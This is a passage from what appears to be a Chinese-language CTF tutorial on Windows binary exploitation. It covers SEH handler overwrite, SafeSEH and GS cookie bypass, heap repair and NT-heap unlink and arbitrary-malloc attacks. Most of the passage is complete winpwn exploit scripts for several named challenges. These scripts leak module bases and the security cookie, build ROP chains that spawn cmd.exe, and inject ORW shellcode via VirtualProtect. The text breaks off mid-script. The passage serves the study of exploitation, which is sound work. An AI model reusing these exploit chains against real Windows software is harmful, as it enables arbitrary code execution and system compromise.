如果我们把 Handler
从原本的 __except_handler4
覆盖为 main
函数,那么当触发异常时会把 main
函数当做 Handler
调用。
再次进入 main
函数时,会在原来异常链上添加一个新的异常节点,该节点是正常的 __except_handler4
。如果此时触发异常会通过 __except_handler4
执行新注册的异常处理程序, 这个异常处理程序会输出 This is exception handler\n
然后返回 0 。由于 main
函数作为上一层 main
函数的 Handler
函数,这个返回值会被当做 Handler
函数返回了 ExceptionContinueExecution
,上一层的 main
函数认为异常以及被处理完,因此再次返回错误的位置执行,结果再次触发异常进入 main
函数。至此,我们实现了 main
函数的多次调用。
有了 main
函数的多次调用我们可以先泄露 ___security_cookie
然后溢出覆盖返回值写 rop 实现 getshell 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from winpwn import *context.arch = "amd64" pe = winfile("SEH.exe" , rebase=True ) ucrtbased = winfile("ucrtbased.dll" ) start = lambda : process(pe.path) p = start() p.sendafter("What is your name:" , "\xcc" * 0x10c ) p.recvuntil("\xcc" * 0x10c ) leak_ucrtbased_addr = u32(p.recv(4 )) log.success("leak ucrtbased addr: " + hex (leak_ucrtbased_addr)) ucrtbased.address = leak_ucrtbased_addr - 0xafbd2 log.info("ucrtbased base: " + hex (ucrtbased.address)) p.close() p = start() p.sendafter("What is your name:" , "\xcc" * 0x114 ) p.recvuntil("\xcc" * 0x114 ) leak_pe_addr = u32(p.recv(3 ).ljust(4 , '\x00' )) log.success("leak pe addr: " + hex (leak_pe_addr)) pe.address = leak_pe_addr - 0x12120 log.info("pe base: " + hex (pe.address)) main_addr = pe.address + 0x15450 log.info("main addr: " + hex (main_addr)) p.close() p = start() p.recvuntil("This is the stack address : " ) buf_addr = int (p.recv(8 ), 16 ) log.info("buf addr: " + hex (buf_addr)) payload = '' payload += '\xcc' * 0x110 payload += p32(buf_addr + 0x18c ) payload += p32(main_addr) p.sendafter("What is your name:" , payload) p.sendafter("Give me one shot: " , "0" ) sleep(0.1 ) p.sendline("" ) p.recvuntil("This is the stack address : " ) buf_addr = int (p.recv(8 ), 16 ) log.info("buf addr: " + hex (buf_addr)) p.sendafter("What is your name:" , '\xcc' * 0x104 ) p.recvuntil("\xcc" * 0x104 ) leak_canary = u32(p.recv(4 )) log.success("leak canary: " + hex (leak_canary)) ebp_value = buf_addr + 0x120 log.info("ebp value: " + hex (ebp_value)) security_cookie = leak_canary ^ ebp_value log.info("security_cookie addr: " + hex (pe.address + 0x1A004 )) log.info("leak security_cookie: " + hex (security_cookie)) p.sendafter("Give me one shot: " , "0" ) sleep(0.1 ) p.sendline("" ) p.recvuntil("This is the stack address : " ) buf_addr = int (p.recv(8 ), 16 ) log.info("buf addr: " + hex (buf_addr)) ebp_value = buf_addr + 0x120 log.info("ebp value: " + hex (ebp_value)) payload = '' payload += "\xcc" * 0x104 payload += p32(security_cookie ^ ebp_value) payload = payload.ljust(0x124 , "\xcc" ) payload += p32(ucrtbased.symbols['system' ]) payload += p32(0 ) payload += p32(ucrtbased.search("cmd.exe" ).next ()) p.sendafter("What is your name:" , payload) p.sendafter("Give me one shot: " , str (buf_addr)) sleep(0.1 ) p.sendline("" ) p.interactive()
进一步拓展,假设原本 main
函数的 Handler
返回的是 1 而不是 0,我们通过栈溢出将 Handler
覆盖为 main
函数那么在第一次执行 main
函数触发异常后调用 Handler
第二次进入 main
函数,第二次进入 main
函数触发异常后返回 ExceptionContinueSearch
表示异常没有处理,会在 SEH 链中继续往上一层找 Handler
,由于此时上一层 Handler
为 main
函数,也就是说第二次进入 main
函数触发异常后会再次进入 main
函数,因此原本 main
函数的 Handler
返回的是 1 也可以实现重复调用 main
函数。
SafeSEH 附件下载链接 这道题开启了 SafeSEH 和 GS 保护。 观察主函数逻辑,发现与上一道题逻辑相似,不过有两次溢出和回显的机会。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 int __cdecl main_0 (int argc, const char **argv, const char **envp) { _DWORD *shot; char DstBuf[260 ]; CPPEH_RECORD ms_exc; __CheckForDebuggerJustMyCode(&unk_40C00F); sub_4011FE(); printf ("Hello world, this is a buffer overflow training.\n" ); printf ("This is the stack address : %p\n" , DstBuf); printf ("What is your name: " ); read(0 , DstBuf, 0x200 u); printf ("Hello, %s\n" , DstBuf); printf ("Input again: " ); read(0 , DstBuf, 0x200 u); printf ("Hello, %s\n" , DstBuf); ms_exc.registration.TryLevel = 0 ; printf ("Give me one shot: " ); scanf ("%ld" , &shot); shot = (_DWORD *)((unsigned int )shot & 0xFFF00 ); *shot = 0xDEADBEEF ; ms_exc.registration.TryLevel = -2 ; getchar(); return 0 ; }
因此可以先泄露 ucrtbased.dll
和程序的基址。之后再次启动程序,第一次输入后回显泄露 canary ,从而计算出 ___security_cookie
,然后再次溢出写 rop ,不过由于 shot = (_DWORD *)((unsigned int)shot & 0xFFF00);
,不能正常返回,需要通过异常处理返回,这就需要我们伪造 CPPEH_RECORD
结构使其能正常调用处理函数返回。这里为了体现 SafeSEH 的绕过也顺带伪造了 ScopeTable
,实际上复用原来的 ScopeTable
也是可以的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 from winpwn import *context.arch = "i386" pe = winfile("SafeSEH.exe" , rebase=True ) ucrtbased = winfile("ucrtbased.dll" ) start = lambda : process(pe.path) p = start() p.sendafter("What is your name:" , "\xcc" * 0x10c ) p.recvuntil("\xcc" * 0x10c ) leak_ucrtbased_addr = u32(p.recv(4 )) log.success("leak ucrtbased addr: " + hex (leak_ucrtbased_addr)) ucrtbased.address = leak_ucrtbased_addr - 0xafbd2 log.info("ucrtbased base: " + hex (ucrtbased.address)) p.close() p = start() p.sendafter("What is your name:" , "\xcc" * 0x114 ) p.recvuntil("\xcc" * 0x114 ) leak_pe_addr = u32(p.recv(3 ).ljust(4 , '\x00' )) log.success("leak pe addr: " + hex (leak_pe_addr)) pe.address = leak_pe_addr - 0x1e30 log.info("pe base: " + hex (pe.address)) main_addr = pe.address + 0x1780 log.info("main addr: " + hex (main_addr)) FilterFunc = pe.address + 0x18B7 log.info("FilterFunc addr: " + hex (FilterFunc)) HandlerFunc = pe.address + 0x18BD log.info("HandlerFunc addr: " + hex (HandlerFunc)) p.close() p = start() p.recvuntil("This is the stack address : " ) buf_addr = int (p.recv(8 ), 16 ) log.info("buf addr: " + hex (buf_addr)) ebp_value = buf_addr + 0x120 log.info("ebp value: " + hex (ebp_value)) p.sendafter("What is your name:" , "\xcc" * 0x104 ) p.recvuntil("\xcc" * 0x104 ) leak_canary = u32(p.recv(4 )) log.success("leak canary: " + hex (leak_canary)) security_cookie = leak_canary ^ ebp_value log.info("security_cookie: " + hex (security_cookie)) log.info("security_cookie addr: " + hex (pe.address + 0xA004 )) fake_ScopeTable = '' fake_ScopeTable += p32(0x0FFFFFFE4 ) fake_ScopeTable += p32(0x000000000 ) fake_ScopeTable += p32(0x0FFFFFE00 ) fake_ScopeTable += p32(0x000000000 ) fake_ScopeTable += p32(0x0FFFFFFFE ) fake_ScopeTable += p32(FilterFunc) fake_ScopeTable += p32(HandlerFunc) fake_ScopeTable += p32(0x000000000 ) fake_CPPEH_RECORD = '' fake_CPPEH_RECORD += p32(buf_addr - 0xe0 ) fake_CPPEH_RECORD += p32(leak_ucrtbased_addr) fake_CPPEH_RECORD += p32(buf_addr + 0x18c ) fake_CPPEH_RECORD += p32(pe.address + 0x1e30 ) fake_CPPEH_RECORD += p32(buf_addr ^ security_cookie) fake_CPPEH_RECORD += p32(0xfffffffe ) payload = '' payload += fake_ScopeTable payload += p32(0x114514 ) payload = payload.ljust(0x104 , '\xcc' ) payload += p32(leak_canary) payload += fake_CPPEH_RECORD payload += p32(0 ) payload += p32(ucrtbased.symbols['system' ]) payload += p32(0 ) payload += p32(ucrtbased.search("cmd.exe" ).next ()) p.sendafter("Input again: " , payload) p.sendafter("Give me one shot: " , "0" ) sleep(0.1 ) p.sendline("" ) p.interactive()
堆利用 堆修复 在进行堆利用的时候如果破坏了进程的默认堆,那么在劫持程序执行流程后会因堆异常导致程序崩溃而无法完成后续利用,这就需要我们在劫持程序执行流程后对进程的默认堆进行修复。
首先利用 ROP 执行 HeapCreate(0,0,0)
完成堆的创建 HeapCreate
,其中 HeapCreate
函数来自 kernel32.dll
。
1 2 3 4 5 6 7 8 9 payload = '' payload += p64(ntdll.search(asm("pop rcx; ret" ), executable=True ).next ()) payload += p64(0 ) payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret" ), executable=True ).next ()) payload += p64(0 ) payload += p64(0 ) payload += p64(ntdll.search(asm("pop r8;ret" ), executable=True ).next ()) payload += p64(0 ) payload += p64(kernel32.symbols['HeapCreate' ])
之后修改 PEB
中的 ProcessHeap (+0x30)
和 ucrtbase.dll
中的 __acrt_heap
为 HeapCreate(0,0,0)
的返回值即可完成堆修复,此时进程的默认堆为 HeapCreate(0,0,0)
创建的堆。
1 2 3 4 5 6 7 8 payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret" ), executable=True ).next ()) payload += p64(PEB_addr + 0x30 ) payload += p64(0 ) payload += p64(ntdll.search(asm("mov qword ptr [rdx], rax; ret;" ), executable=True ).next ()) payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret" ), executable=True ).next ()) payload += p64(ucrtbase.address + 0xEB570 ) payload += p64(0 ) payload += p64(ntdll.search(asm("mov qword ptr [rdx], rax; ret;" ), executable=True ).next ())
unlink (Nt Heap 后端堆) 触发 unlink 的情况有多种,下面仅举例 free 时合并空闲 chunk 造成的 unlink 的方法,这种方法对 unlink 的地址处的内存要求最小。
_HEAP
初始状态如下图所示: 首先释放 Q
为了让 ListHint
不指向 Q
,我们需要再释放 S
。因为如果 ListHint
指向 Q
,在 unlink 之前在 RtlpHeapRemoveListEntry
函数中会对 Q
的 Flink
进行检查。 为了绕过 Q->Flink->Blink == Q->Blink->Flink == &Q
的检查,利用 Heap Overflow 或者 UAF 修改 Q
的 _LIST_ENTRY
如下图所示。 合并 chunk 的时候完成 unlink 。
之后会更新 FreeList
,此时需要插到 A
之前,会检查 A->Blink->Flink == &A
而由于 A->Blink
在 unlink 中并没有实际被修改,所以 A->Blink=Q
,而 Q->Flink = &Q-8
,所以这个检查并不会通过。但是,这个检查不通过,不会 abort,只是会中断将 P
插入 FreeList
这个操作。
至此 unlink 攻击完成,可以控制 Data Pointer
实现任意地址读写。
例题:2019 OGEEK babyheap 附件下载链接 一开始 IDA 不能反编译程序,根据错误提示发现 401558
地址之后的代码有问题,实际上这里已经是出错退出,___report_rangecheckfailure
不会返回,因此我们在这个函数后面 patch 一个 ret
然后修改一下 IDA 的栈分析就可以正常反编译了。
分析程序发现程序一开始泄露了程序基址, edit 功能存在堆溢出并且 show 功能是 printf("Show : %s\n", ptr_list[index]);
可以通过填充字符实现越界读。 因此我们可以泄露堆的头部然后位置越界写伪造 _LIST_ENTRY
实现 unlink 控制 ptr_list
实现任意地址读写。之后依次泄露 ucrtbase.dll
,kernel32.dll -> ntdll.dll -> PEB -> TEB -> stack
基址,然后栈上写 ROP。由于栈上返回堆栈相对栈底偏移不固定,因此需要搜索返回地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 from winpwn import *context.arch = "i386" context.newline = '\n' pe = winfile("babyheap_patch.exe" ) ucrtbase = winfile("ucrtbase.dll" ) kernel32 = winfile("kernel32.dll" ) ntdll = winfile("ntdll.dll" ) p = remote("192.168.64.161" , 22333 ) def add (size, content="" ): p.sendlineafter("What's your choice?" , "1" ) p.sendlineafter("How long is your sword?" , str (size)) p.sendlineafter("Well done! Name it!" , content) def delete (index ): p.sendlineafter("What's your choice?" , "2" ) p.sendlineafter("Which sword do you want to destroy?" , str (index)) def edit (index, content ): p.sendlineafter("What's your choice?" , "3" ) p.sendlineafter("Which one will you polish?" , str (index)) p.sendlineafter("And what's the length this time?" , str (len (content))) p.sendlineafter("Then name it again : " , content) def show (index ): p.sendlineafter("What's your choice?" , "4" ) p.sendlineafter("Which one will you check?" , str (index)) p.recvuntil("Show : " ) def write_one (address ): p.sendlineafter("What's your choice?" , "1337" ) p.sendlineafter("So what's your target?" , str (address)) p.recvuntil("And here is your Novice village gift : " ) leak_pe_addr = int (p.recv(10 ), 16 ) log.info("leak pe addr: " + hex (leak_pe_addr)) pe.address = leak_pe_addr - 0x1090 log.info("pe base: " + hex (pe.address)) ptr_list_addr = pe.address + 0x4370 log.info("ptr_list addr: " + hex (ptr_list_addr)) ptr_flag_addr = pe.address + 0x43BC log.info("ptr_flag addr: " + hex (ptr_flag_addr)) for i in xrange(6 ): add(0x58 )delete(2 ) delete(4 ) edit(1 , 'a' * (0x58 + 0 )) show(1 ) free_heap_header = '' while len (free_heap_header) < 8 : head_len = len (free_heap_header) edit(1 , 'a' * (0x58 + head_len)) show(1 ) p.recvuntil('a' * (0x58 + head_len)) free_heap_header += p.recvline(newline='\r\n' , drop=True ) if len (free_heap_header) < 8 : free_heap_header += '\x00' free_heap_header = free_heap_header[:8 ] log.success("leak free heap header: " ) hexdump(free_heap_header) edit(1 , 'a' * 0x58 + free_heap_header + p32(ptr_list_addr + 8 - 4 ) + p32(ptr_list_addr + 8 )) delete(1 ) write_one(ptr_flag_addr + 2 ) arbitrary_address_read = lambda address: (edit(2 , p32(ptr_list_addr + 8 ) + p32(address)), show(3 )) arbitrary_address_write = lambda address, content: (edit(2 , p32(ptr_list_addr + 8 ) + p32(address)), edit(3 , content)) def arbitrary_address_readn (address, length ): read_buf = "" while len (read_buf) < length: arbitrary_address_read(address + len (read_buf)) read_buf += p.recvline(newline='\r\n' , drop=True ) if len (read_buf) < length: read_buf += '\x00' return read_buf[:length] vfprintf_addr = u32(arbitrary_address_readn(pe.imsyms['__stdio_common_vfprintf' ], 4 )) log.success("vfprintf addr: " + hex (vfprintf_addr)) ucrtbase.address = vfprintf_addr - ucrtbase.symbols['__stdio_common_vfprintf' ] log.info("ucrtbase base: " + hex (ucrtbase.address)) sleep_addr = u32(arbitrary_address_readn(pe.imsyms['Sleep' ], 4 )) log.success("Sleep addr: " + hex (sleep_addr)) kernel32.address = sleep_addr - kernel32.symbols['Sleep' ] log.info("kernel32 base: " + hex (kernel32.address)) wcsncpy_addr = u32(arbitrary_address_readn(kernel32.imsyms['wcsncpy' ], 4 )) log.success("wcsncpy addr: " + hex (wcsncpy_addr)) ntdll.address = wcsncpy_addr - ntdll.symbols['wcsncpy' ] log.info("ntdll base: " + hex (ntdll.address)) log.info("leak PEB addr from: " + hex (ntdll.address + 0x120c0c )) PEB_addr = u32(arbitrary_address_readn(ntdll.address + 0x120c0c , 4 )) - 540 log.info("PEB addr: " + hex (PEB_addr)) TEB_addr = PEB_addr + 0x3000 log.info("TEB addr: " + hex (TEB_addr)) stack_base = u32(arbitrary_address_readn(TEB_addr + 4 , 4 )) stack_limit = u32(arbitrary_address_readn(TEB_addr + 8 , 4 )) log.success("stack base: " + hex (stack_base)) log.success("stack limit: " + hex (stack_limit)) rop = p32(ucrtbase.symbols['system' ]) + p32(0 ) + p32(ucrtbase.search("cmd.exe" ).next ()) for address in range (stack_base, stack_limit - 4 , -4 ): arbitrary_address_read(address) read_data = p.recvline(newline='\r\n' , drop=True )[:4 ].ljust(4 , '\x00' ) if u32(read_data) == pe.address + 0x193b : log.success("find ret addr: " + hex (address)) arbitrary_address_write(address, rop) break p.sendlineafter("What's your choice?" , "5" ) p.interactive()
例题:2020 SCTF EasyWinHeap 附件下载链接 存在 UAF 和堆溢出,并且调用指针数组上的函数指针,可以直接 UAF+unlink 修改函数指针为 system
完成 getshell 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from winpwn import *context.arch = "i386" pe = winfile("EasyWinHeap.exe" ) ucrtbase = winfile("ucrtbase.dll" ) p = process(pe.path) def add (size ): p.sendlineafter("option >" , "1" ) p.sendlineafter("size >" , str (size)) def delete (index ): p.sendlineafter("option >" , "2" ) p.sendlineafter("index >" , str (index)) def show (index ): p.sendlineafter("option >" , "3" ) p.sendlineafter("index >" , str (index)) def edit (index, content ): p.sendlineafter("option >" , "4" ) p.sendlineafter("index >" , str (index)) p.sendlineafter("content >" , content) add(0x90 ) add(0x90 ) add(0x90 ) add(0x90 ) add(0x90 ) delete(1 ) delete(3 ) show(1 ) p.recvline() node_list_addr = u32(p.recv(4 )) - 0x100 log.success("node_list_addr: " + hex (node_list_addr)) log.info("chunk1 addr: " + hex (node_list_addr + 0xa0 )) edit(1 , p32(node_list_addr + 0x8 ) + p32(node_list_addr + 0xC )) delete(0 ) show(1 ) p.recvline() leak_func_ptr = u32(p.recv(8 )[-4 :]) log.info("leak func ptr: " + hex (leak_func_ptr)) pe.address = leak_func_ptr - 0x104a log.info("pe base: " + hex (pe.address)) edit(1 , p32(node_list_addr + 0xC ) + p32(leak_func_ptr) + p32(pe.imsyms['getchar' ])) show(2 ) p.recvline() ucrtbase.address = u32(p.recv(4 )) - ucrtbase.symbols['getchar' ] log.info("ucrtbase base: " + hex (ucrtbase.address)) edit(1 , p32(node_list_addr + 0xC ) + p32(ucrtbase.symbols['system' ]) + p32(node_list_addr + 0x18 ) + "cmd.exe\x00" ) show(2 ) p.interactive()
例题:2021 TSCTF HelloWin 附件下载链接 和 2019 OGEEK babyheap 一样,不过这个题开了 PROCESS_MITIGATION_CHILD_PROCESS_POLICY
保护,需要 ORW 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 from winpwn import *context.arch = "amd64" context.log_level = 'debug' pe = winfile("overflow.exe" ) ucrtbase = winfile("ucrtbase.dll" ) kernel32 = winfile("kernel32.dll" ) ntdll = winfile("ntdll.dll" ) start = lambda : process(pe.path) def add (size, content="" ): p.sendlineafter("[+] delete" , "1" ) p.sendlineafter("[+] Please input size:" , str (size)) p.sendlineafter("[+] Please input content:" , content) def show (index ): p.sendlineafter("[+] delete" , "2" ) p.sendlineafter("[+] Input index:" , str (index)) p.recvuntil("[+] content: " ) def edit (index, content ): p.sendlineafter("[+] delete" , "3" ) p.sendlineafter("[+] Input index:" , str (index)) p.sendlineafter("[+] Please input size:" , str (len (content))) p.sendlineafter("[+] Please input content:" , content) def delete (index ): p.sendlineafter("[+] delete" , "4" ) p.sendlineafter("[+] Input index:" , str (index)) def backdoor (index ): p.sendlineafter("[+] delete" , "88" ) p.sendlineafter("[+] Input index:" , str (index)) p = start() p.sendlineafter("[+] Now,are you ready?" , "Yes,me is!!!" ) p.sendlineafter("[+] Please tell me your name:" , "%p%p%p%p%p" ) p.recvuntil("[+] Hello! " ) p.recv(16 ) ucrtbase.address = int (p.recv(16 ), 16 ) - 0x100900 log.success("ucrtbase base: " + hex (ucrtbase.address)) p.recv(32 ) pe.address = int (p.recv(16 ), 16 ) - 0x1b4a log.success("pe base: " + hex (pe.address)) ptr_list_addr = pe.address + 0x6620 log.info("ptr_list addr: " + hex (ptr_list_addr)) p.close() p = start() p.sendlineafter("[+] Now,are you ready?" , "Yes,me is!!!" ) p.sendlineafter("[+] Please tell me your name:" , "sky123" ) p.sendlineafter("Please tell me your password:" , "sky123" ) for _ in xrange(5 ): add(0x58 )delete(1 ) delete(3 ) free_heap_header = '' while len (free_heap_header) < 8 : head_len = len (free_heap_header) edit(0 , 'a' * (0x58 + head_len)) show(0 ) p.recvuntil('a' * (0x58 + head_len)) free_heap_header += p.recvline(drop=True ) if len (free_heap_header) < 8 : free_heap_header += '\x00' free_heap_header = free_heap_header[:8 ] log.success("leak free heap header" ) hexdump(free_heap_header) edit(0 , "a" * 0x58 + free_heap_header + p64(ptr_list_addr) + p64(ptr_list_addr + 8 )) delete(0 ) backdoor(1 ) arbitrary_address_read = lambda address: (edit(1 , p64(ptr_list_addr + 8 ) + p64(address)), show(2 )) arbitrary_address_write = lambda address, content: (edit(1 , p64(ptr_list_addr + 8 ) + p64(address)), edit(2 , content)) def arbitrary_address_readn (address, length ): read_buf = "" while len (read_buf) < length: log.info("read_buf len: " + hex (len (read_buf))) log.info("read_buf:" ) hexdump(read_buf) if len (read_buf) != 0 : arbitrary_address_write(address, "a" * len (read_buf)) arbitrary_address_read(address) if len (read_buf) != 0 : p.recvuntil("a" * len (read_buf)) read_buf += p.recvline(drop=True ) if len (read_buf) < length: read_buf += '\x00' read_buf = read_buf[:length] arbitrary_address_write(address, read_buf) return read_buf arbitrary_address_read(pe.imsyms['GetCurrentThreadId' ]) kernel32.address = u64(p.recvline(drop=True ).ljust(8 , '\x00' )) - kernel32.symbols['GetCurrentThreadId' ] log.success("kernel32 base: " + hex (kernel32.address)) arbitrary_address_read(kernel32.imsyms['memcpy' ]) ntdll.address = u64(p.recvline(drop=True ).ljust(8 , '\x00' )) - ntdll.symbols['memcpy' ] log.success("ntdll base: " + hex (ntdll.address)) arbitrary_address_read(ntdll.address + 0x184318 ) PEB_addr = u64(p.recvline(drop=True ).ljust(8 , '\x00' )) - 0x80 log.success("PEB addr: " + hex (PEB_addr)) TEB_addr = PEB_addr + 0x1000 log.info("TEB addr: " + hex (TEB_addr)) stack_base = u64(arbitrary_address_readn(TEB_addr + 8 , 8 )) log.success("stack base: " + hex (stack_base)) def get_payload (payload_addr ): shellcode_offset = 0x80 rwbuf_offset = 0x70 shellcode = asm( """ sub rsp, 0x1000 mov rcx, {0} mov edx, 0x80000000 xor r9d, r9d lea r8d, [r9+1] mov qword ptr [rsp + 0x30], 0 mov qword ptr [rsp + 0x28], 0x80 mov qword ptr [rsp + 0x20], 3 mov rbx, {1} call rbx //FileA = CreateFileA("flag.txt", 0x80000000, 1u, 0, 3u, 0x80u, 0) xchg rcx,rax mov rdx, {0} mov r8d, 0x30 lea r9,[rsp + 0x200] mov qword ptr [rsp + 0x20], 0 mov rbx, {2} call rbx //ReadFile(FileA, Buffer, 0x3000u, &NumberOfBytesRead, 0); mov rcx, {0} mov rbx,{3} call rbx // puts(Buffer); """ .format ( hex (payload_addr + rwbuf_offset), hex (kernel32.symbols['CreateFileA' ]), hex (kernel32.symbols['ReadFile' ]), hex (ucrtbase.symbols['puts' ]), ) ) payload = '' payload += p64(ntdll.search(asm("pop rcx;ret" ), executable=True ).next ()) payload += p64(payload_addr & ~0xFFF ) payload += p64(ntdll.search(asm("pop rdx;ret" ), executable=True ).next ()) payload += p64(0x1000 ) payload += p64(ntdll.search(asm('pop r8; pop r9; pop r10; pop r11; ret' ), executable=True ).next ()) payload += p64(0x40 ) payload += p64(payload_addr + 0x300 ) payload += p64(0 ) payload += p64(0 ) payload += p64(kernel32.symbols['VirtualProtect' ]) payload += p64(payload_addr + shellcode_offset) payload = payload.ljust(rwbuf_offset, '\xcc' ) payload += "flag.txt\x00" payload = payload.ljust(shellcode_offset, '\xcc' ) payload += shellcode return payload for address in range (stack_base - 8 , stack_base - 0x4000 , -8 ): arbitrary_address_read(address) read_data = p.recvline(drop=True )[:8 ].ljust(8 , '\x00' ) if u64(read_data) == pe.address + 0x20D0 : log.success("find ret addr: " + hex (address)) arbitrary_address_write(address, get_payload(address)) break p.sendlineafter("[+] delete" , "88" ) p.interactive()
任意地址 malloc(Nt Heap 后端堆) 如果存在堆溢出并且需要 malloc 的地址附近的数据可控,那么可以伪造 FreeList
链表以及 fake chunk 的 chunk head 从而实现任意地址 malloc 。
例题:2019 HITCON dadadb 附件下载链接
首先根据题目提供的启动脚本可知题目开启 PROCESS_MITIGATION_CHILD_PROCESS_POLICY
保护,只能通过 ORW 获得 flag 。
add 功能存在堆溢出,由于只能在申请堆块的时候才能编辑堆块,因此不能采用 unlink 攻击(因为即使 unlink 攻击成功也无法进行后续利用),而是通过伪造 FreeList
链表实现任意地址 malloc 。
1 2 3 4 5 6 7 8 9 10 11 12 13 new_size = atoll(String); if ( new_size >= 0x1000 ) new_size = 0x1000 i64; node1->ptr = (char *)HeapAlloc(hHeap, 8u , new_size); printf ("Data:" );size = node1->size; ptr = node1->ptr; v13 = GetStdHandle(0xFFFFFFF6 ); if ( !ReadFile(v13, ptr, size, &NumberOfBytesRead, 0 i64) ){ puts ("read error" ); _exit(1 ); }
首先通过堆越界读泄露堆地址,然后构造任意地址读泄露 &_HEAP + 0x2c0
处存储的 ntdll.dll
地址,从而泄露 ntdll.dll
基址。这里要注意泄露的 ntdll.dll
地址与 ntdll.dll
基址偏移不固定 。之后通过 ntdll->PEB->TEB
的泄露最终泄露栈地址和 dadadb.exe
的程序基址。从 dadadb.exe
的导入表泄露 kernel32.dll
基址以及 puts
函数地址。puts
函数稍后会作为 ORW 的输出函数。最后扫描栈中数据找到 main
函数返回地址从而定位到 login
函数的返回地址作为之后 ROP 的写入地址。
接下来需要伪造 FreeList
链表实现任意地址 malloc 。观察发现 Password
后面跟着 Stream
指针。Password
是我们能够控制的,可以用来伪造堆头和 Flink
,Blink
,然后可以任意地址 malloc 劫持 Stream
指向我们伪造的 FILE
结构体。
在伪造 FreeList
的过程中要注意 chunk 地址要避开 \xa0
和 \xd0
避免输入被截断。
1 2 3 4 5 .data:0000000140005648 ; char Password[20] .data:0000000140005648 Password db 20h dup(?) .data:0000000140005648 .data:0000000140005668 ; FILE *Stream .data:0000000140005668 Stream dq ?
在我们伪造的 FILE
结构体中 _base
指向 login
函数的返回地址处,_file
设为 0 即标准输入,那么在 login
函数中执行下面这段代码就可以读入 ROP 到 login
函数的返回地址 。
1 2 3 4 5 6 7 8 9 fp = Stream; if ( !Stream ){ fopen_s(&Stream, "user.txt" , "r" ); fp = Stream; if ( !Stream ) _exit(0 ); } fread(Buffer, 0x100 ui64, 1u i64, fp);
由于题目没有提供 ucrtbase.dll
,我们使用 kernel32.dll
中的 CreateFile
和 ReadFile
以及泄露的 puts
函数实现 ORW 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 from winpwn import *context.arch = 'amd64' context.log_level = 'debug' pe = winfile("dadadb.exe" ) ntdll = winfile("ntdll.dll" ) kernel32 = winfile("kernel32.dll" ) def login (user, passwd ): p.sendlineafter('>> ' , '1' ) p.sendafter('User:' , user) p.sendlineafter('Password:' , passwd) def add (key, size, data=context.newline ): p.sendlineafter('>> ' , '1' ) p.sendlineafter('Key:' , key) p.sendlineafter('Size:' , str (size)) p.sendafter('Data:' , data) def show (key ): p.sendlineafter('>> ' , '2' ) p.sendlineafter('Key:' , key) p.recvuntil('Data:' ) def delete (key ): p.sendlineafter('>> ' , '3' ) p.sendlineafter('Key:' , key) def logout (): p.sendlineafter('>> ' , '4' )p = process("dadadb.exe" ) login('orange' , 'godlike' ) add('1' , 0x300 ) add('1' , 0x30 ) add('2' , 0x80 ) show('1' ) head = p.recv(0x40 ) heap_base = u64(p.recv(8 )) - 0x980 log.success("heap base: " + hex (heap_base)) arbitrary_address_read = lambda address: (add('1' , 0x30 , head + p64(address)), show('2' )) arbitrary_address_read(heap_base + 0x2c0 ) ntdll.address = (u64(p.recv(8 )) - 0x163d10 ) & ~0xffff log.success("ntdll base: " + hex (ntdll.address)) arbitrary_address_read(ntdll.address + 0x165368 ) PEB_addr = u64(p.recv(8 )) - 832 log.success("PEB addr: " + hex (PEB_addr)) TEB_addr = 